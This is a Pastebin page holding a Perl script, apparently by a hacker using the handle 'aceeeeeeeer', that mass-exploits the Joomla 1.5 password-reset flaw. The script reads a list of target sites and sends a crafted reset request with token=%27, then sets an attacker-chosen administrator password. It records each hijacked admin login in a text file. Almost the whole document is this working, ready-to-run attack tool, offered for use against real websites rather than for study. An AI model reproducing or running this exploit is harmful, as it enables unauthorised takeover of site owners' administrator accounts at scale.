aceeeeeeeer

Mass Joomla 1.5 Remote Admin Change Password

Dec 7th, 2013
964
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.93 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # by aceeeeeeeer (www.info-hack3r.blogspot.com || www.twitter.com/aceeeeeeeer)
  3.  
  4. use LWP::UserAgent;
  5. use HTTP::Request::Common;
  6. use IO::Socket::INET;
  7.  
  8. if ($^O =~ /MSWin32/) {system("cls");
  9. }else { system("clear");}
  10.  
  11. print "\n\t+---------------------------------------------------+\n";
  12. print "\t|   Mass Joomla 1.5 Remote Admin Change Password    |\n";
  13. print "\t|                               by aceeeeeeeer      |\n";
  14. print "\t|                                                   |\n";
  15. print "\t|        perl exploit.pl <lista> <nova senha>       |\n";
  16. print "\t+---------------------------------------------------+\n\n";
  17.  
  18. $agnt = LWP::UserAgent->new();
  19. $agnt->agent('BlackBerry8703e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 Novarra-Vision/8.0');
  20.  
  21. open(a,"<$ARGV[0]") or die "$!";
  22. while(<a>){
  23. chomp($_);
  24. $trgta = $_;
  25. $trgtprint = $_;
  26. $novasenha = $ARGV[1];
  27.  
  28. if($trgta !~ /http:\/\//)
  29. {
  30. $trgta = "http://$trgta";
  31. }
  32.  
  33. $exho = $trgta . "/index.php?option=com_user&view=reset&layout=confirm" ;
  34. $cdskt = "token=%27&d851e0ec18898263d9e5ae9de61dd519=1";
  35. sleep (1);
  36. $length = length $cdskt;
  37. $cdskt = "$cdskt\r\n\r\n";
  38. sleep (1);
  39. $req = $agnt->request(HTTP::Request->new(GET=>$exho));
  40. if ($req->is_success)
  41. {
  42. print "[$trgtprint] Explorando...\n";
  43. sleep 0.5;
  44. $skt1 = IO::Socket::INET->new(PeerAddr => "$trgtprint", PeerPort => 'http(80)', Proto => 'tcp');
  45. print $skt1 "POST /index.php?option=com_user&task=confirmreset HTTP/1.1\r\n";
  46. print $skt1 "Host:$trgta\r\n";
  47. print $skt1 "User-Agent:BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\r\n";
  48. print $skt1 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  49. print $skt1 "Accept-Language: en-US,en;q=0.5\r\n";
  50. print $skt1 "Accept-Encoding: gzip, deflate\r\n";
  51. print $skt1 "Referer: $exho\r\n";
  52. print $skt1 "Cookie: __utma=194891897.1942900790.1359225585.1359234394.1359278693.3; __utmz=194891897.1359225585.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 9449e28969660ef964b805af19d964a8=820cd28c8b1b5326299f67c549acee86; __utmb=194891897.1.10.1359278693; __utmc=194891897\r\n";
  53. print $skt1 "Connection: keep-alive\r\n";
  54. print $skt1 "Content-Type: application/x-www-form-urlencoded\r\n";
  55. print $skt1 "Content-Length:$length\r\n";
  56. print $skt1 $cdskt ;
  57. close($skt1);
  58. $cdskt1 = "password1=$novasenha&password2=$novasenha&d851e0ec18898263d9e5ae9de61dd519=1";
  59. $length1 = length $cdskt1;
  60. $cdskt1 = "$cdskt1\r\n\r\n";
  61. $exho = $trgta . "/index.php?option=com_user&view=reset&layout=complete";
  62. print "[$trgtprint] Definindo '$novasenha' como nova senha...\n";
  63. sleep 1;
  64. $skt12 = IO::Socket::INET->new(PeerAddr => "$trgtprint", PeerPort => 'http(80)' , Proto => 'tcp');
  65. print $skt12 "POST /index.php?option=com_user&task=completereset HTTP/1.1\r\n";
  66. print $skt12 "Host:$trgta\r\n";
  67. print $skt12 "User-Agent:BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\r\n";
  68. print $skt12 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  69. print $skt12 "Accept-Language: en-US,en;q=0.5\r\n";
  70. print $skt12 "Accept-Encoding: gzip, deflate\r\n";
  71. print $skt12 "Referer:$exho\r\n";
  72. print $skt12 "Cookie: __utma=194891897.1942900790.1359225585.1359234394.1359278693.3; __utmz=194891897.1359225585.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 9449e28969660ef964b805af19d964a8=820cd28c8b1b5326299f67c549acee86; __utmb=194891897.2.10.1359278693; __utmc=194891897\r\n";
  73. print $skt12 "Connection: keep-alive\r\n";
  74. print $skt12 "Content-Type: application/x-www-form-urlencoded\r\n";
  75. print $skt12 "Content-Length:$length1\r\n";
  76. print $skt12 $cdskt1;
  77. close($skt12);
  78. sleep 2;
  79. print "[$trgtprint] Sucesso!\n\n";
  80. open(SALVA,">>sh.txt");
  81. print SALVA "$trgta/administrator/index.php : $novasenha\n";
  82. close(SALVA);
  83. }
  84. else
  85. {
  86. print "[$trgtprint] Falha :(\n\n";
  87. }
  88. }
  89. print "\n\n\tTWITTER: www.twitter.com/aceeeeeeeer\n\tBLOG: www.info-hack3r.blogspot.com";
Advertisement
Add Comment
Please, Sign In to add comment